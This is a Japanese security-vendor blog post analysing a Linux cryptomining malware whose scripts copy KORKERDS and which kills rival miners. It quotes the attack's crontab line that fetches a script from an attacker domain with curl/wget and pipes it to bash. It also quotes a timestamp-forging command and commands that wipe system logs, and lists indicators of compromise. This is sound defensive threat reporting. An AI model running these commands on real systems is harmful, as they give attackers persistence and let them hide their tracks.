マルウェア
「KORKERDS」をコピーしたLinux向け仮想通貨発掘マルウェアを確認
トレンドマイクロは、ハニーポットのログを定期的にチェックする中で、不正なドメインから仮想通貨発掘ツール(コインマイナー)のバイナリファイルをダウンロードする興味深いスクリプトを確認しました。このスクリプトは侵入したLinuxシステム内の既知のマルウェアおよびコインマイナーを削除し、その他の発掘サービスおよびポートとの接続を切断します。
トレンドマイクロは、ハニーポットのログを定期的にチェックする中で、不正なドメインから仮想通貨発掘ツール(コインマイナー)のバイナリファイルをダウンロードする興味深いスクリプトを確認しました。このスクリプトは侵入したLinuxシステム内の既知のマルウェアおよびコインマイナーを削除し、その他の発掘サービスおよびポートとの接続を切断します。スクリプトの一部は、仮想通貨発掘マルウェア「KORKERDS」や、複数のOSを対象にさまざまな攻撃を仕掛けるマルウェア「Xbash」を思い出させるようなものでした。
図1:不正なドメインからコインマイナーのバイナリファイルをダウンロードするスクリプト
■概要
今回確認されたスクリプトと、KORKERDSをダウンロードするスクリプト(2018年11月に最終更新)を比較したところ、いくつかの追加と注目すべき削除箇所を除いてほぼ同一であることが分かりました。KORKERDSのスクリプトとは異なり、新しいスクリプトはシステム内のセキュリティ製品のアンインストールやルートキットのインストールは行いません。また、KORKERDSとそのルートキットコンポーネントが、停止するプロセスの一覧である「キルリスト」に含まれています。基本的に、この新しいスクリプトは、コピー元となったKORKERDSのスクリプトが利用するコンポーネントと仮想通貨発掘プロセスを削除します。
図2:「KORKERDS」の仮想通貨発掘プロセス「kworkerds」を停止
図3:「KORKERDS」のルートキットコンポーネントを削除
今回確認されたスクリプトは、仮想通貨発掘ツール「XMR-Stak」を修正したバイナリファイル(「Coinminer.Linux.MALXMR.UWEIU」として検出)をダウンロードします。XMR-Stakは、各種CPUと、AMDおよびNVIDIA製GPUに対応し、発掘アルゴリズム「Cryptonight」を使用する仮想通貨を汎用的に発掘可能な、発掘プロトコル「Stratum」を使用するプールマイナーです。
この感染について解析したところ、ネットワークカメラ(IPカメラ)やWebサービスのTCP8161番ポートを介して、指定したコマンドを定時実行するcrontabファイルが送り込まれていたことが判明しました。
■技術的な解析
感染システムに送り込まれたcrontabファイルは、以下のコマンドでシェルスクリプト「1.jpg」をダウンロードして実行します。
PUT /fileserver/vMROB4ZhfLTljleL HTTP/1.1 Host: xxx.xxx.127.221:8161 Accept: */* Content-Length: 105 Content-Type: application/x-www-form-urlencoded*/10 * * * * root (curl -fsSL hxxp://yxarsh[.]shop/1.jpg||wget -q -O- hxxp://yxarsh[.]shop/1.jpg)|bash -sh ## |
このシェルスクリプトは、攻撃者が指定した3つの関数「B」、「D」、「C」を実行します。
- 関数「B」は、付随するマルウェア(「Trojan.SH.MALXMR.UWEIU」として検出)が参照するインストール済みのマルウェアとコインマイナー、およびすべての関連するサービスを停止し、指定されたIPアドレスとの接続を切断します。また、ディレクトリおよびファイルを作成します。
図4:インストール済みのマルウェアとコインマイナー、および関連サービスを停止
- 関数「D」は「hxxp://yxarsh[.]shop/64」からコインマイナーのバイナリファイルをダウンロードし、実行します。
- 関数「C」は「hxxp://yxarsh.shop/0」からスクリプトをダウンロードして「/usr/local/bin/dns」に保存し、午前1時になるたびにこのスクリプトを呼び出す新しいcrontabを作成します。また、「hxxp://yxarsh[.]shop/1[.]jpg」をダウンロードし、その他のcrontabファイルを以下のように作成します。
/etc/cron.d/root /var/spool/cron/root /etc/cron.d/apache /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner /etc/cron.daily/oanacroner /etc/cron.monthly/oanacroner |
作成された新しいファイル群の修正時刻とアクセス時刻は、以下のようなコマンドで「/bin/sh」と同一の値に変更されます。
touch -acmr /bin/sh /etc/cron.hourly/oanacroner |
以上のように、この仮想通貨発掘マルウェアはcrontabを利用して再起動および削除後も感染システム内で活動を持続します。さらに、以下のコマンドでログファイルをゼロで上書きします。
echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron |
KORKERDSと比べて、今回確認された新しいスクリプトは、よりシンプルにファイルをダウンロードして実行し、感染システムにコインマイナーをインストールします。拡散に利用するスクリプトについては、コードの大部分をKORKERDSのスクリプトからコピーしていました。Base64方式でエンコードされたKORKERDSのスクリプトは、本記事執筆時点(2019年2月8日)で「hxxps://pastebin[.]com/u/SYSTEAM」で利用可能です。KORKERDSのスクリプトと新しいスクリプトの間には、PUTメソッドの対象URL「/fileserver/vMROB4ZhfLTljleL」とcrontabに微妙な差異が確認されています。KORKERDSが各コマンドをcrontabにそれぞれ直接設定するのに対して、新しいスクリプトではすべてのコードとコインマイナーを取得するコマンドを1つのcrontabに設定しています。
図5:KORKERDSからコピーした拡散に利用するPythonスクリプト
■トレンドマイクロの対策
システム内の他のマルウェアを停止するマルウェアは新しいものではありません。しかし、今回のように、Linuxシステムに感染しこれほど大規模にその他のマルウェアを停止するマルウェアは今までに無いものです。競合するマルウェアの停止はサイバー犯罪者が利益を最大化する1つの方法に過ぎず、変化を続けるさまざまな種類の攻撃が今後も確認されるでしょう。
クロスジェネレーションで進化を続ける「XGen™セキュリティ」は、AI 技術をはじめとする先進技術と実績の高いスレットインテリジェンスを融合した防御アプローチにより、データを保管するサーバ、データを交換するネットワーク、データを利用するユーザの各レイヤーで最適化されたセキュリティを提供します。
■侵入の痕跡(Indicators of Compromise、IoC)
SHA256値
SHA256値 | 検出名 |
2f7ff54b631dd0af3a3d44f9f916dbde5b30cdbd2ad2a5a049bc8f2d38ae2ab6 | Trojan.SH.MALXMR.UWEIU |
d9390bbbc6e399a388ac6ed601db4406eeb708f3893a40f88346ee002398955c | Coinminer.Linux.MALXMR.UWEIU |
URL
- drnfbu[.]xyz:26750
- hxxp://yxarsh[.]shop
- hxxp://yxarsh[.]shop/0
- hxxp://yxarsh[.]shop/1.jpg
- hxxp://yxarsh[.]shop/64
- hxxp://yxarsh[.]shop/86
- hxxps://pastebin[.]com/u/SYSTEAM
ディレクトリ
- /opt/yilu/work/xig
- /opt/yilu/work/xige
- /usr/bin/bsd-port
変更不可(immutable)属性が設定されたファイル
- /opt/yilu/mservice
- /opt/yilu/work/xig/xig
- /opt/yilu/work/xige/xige
- /tmp/thisxxs
- /usr/bin/.sshd
- /usr/bin/bsd-port/getty
- /usr/local/bin/dns
- /etc/cron.hourly/oanacroner
- /etc/cron.daily/oanacroner
- /etc/cron.monthly/oanacroner
ゼロで上書きされるファイル
- /var/spool/mail/root
- /var/log/wtmp
- /var/log/secure
- /var/log/cron
参考記事:
- 「Linux Coin Miner Copied Scripts From KORKERDS, Removes All Other Malware and Miners」
by Trend Micro
翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)